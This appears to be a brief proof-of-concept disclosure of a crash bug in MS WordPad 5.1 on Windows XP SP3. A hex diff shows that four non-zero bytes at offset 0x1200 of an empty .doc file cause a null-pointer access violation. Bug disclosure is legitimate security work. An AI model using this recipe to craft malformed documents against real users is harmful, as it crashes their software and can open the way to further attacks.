MS Wordpad 5.1 (Compilation 2600.xpsp.080413-2111 SP 3)

This isn't bug from CWE 2009-0259

$ Binnary diff of template file (proper empty doc document) and malformed file
(showing just the offset that differs):

0000 1200: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 -- template file
0000 1200: 00 00 00 00 00 00 63 6F  6E 64 00 00 00 00 00 00 -- proof of concept

Actually it doesn't matters (almost) what 4 bytes we will put there untill they != 0x00.

Access violation when reading [00000004]
